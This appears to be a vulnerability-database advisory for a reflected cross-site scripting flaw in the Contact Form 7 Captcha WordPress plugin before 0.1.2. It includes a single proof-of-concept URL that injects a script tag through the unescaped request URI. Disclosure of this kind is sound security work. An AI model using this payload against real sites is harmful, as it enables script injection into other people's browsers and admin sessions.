Lucene search

K
wpexploitZhongFu Su(JrXnm) of WuHan University WPEX-ID:4FD2F1EF-39C6-4425-8B4D-1A332DABAC8D
HistoryJun 27, 2022 - 12:00 a.m.

Contact Form 7 Captcha < 0.1.2 - Reflected Cross-Site Scripting

2022-06-2700:00:00
ZhongFu Su(JrXnm) of WuHan University
103

0.001 Low

EPSS

Percentile

43.6%

The plugin does not escape the $_SERVER[‘REQUEST_URI’] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers

https://example.com/wp-admin/options-general.php?page=cf7sr_edit&"><script>alert(/XSS/)</script>

0.001 Low

EPSS

Percentile

43.6%

Related for WPEX-ID:4FD2F1EF-39C6-4425-8B4D-1A332DABAC8D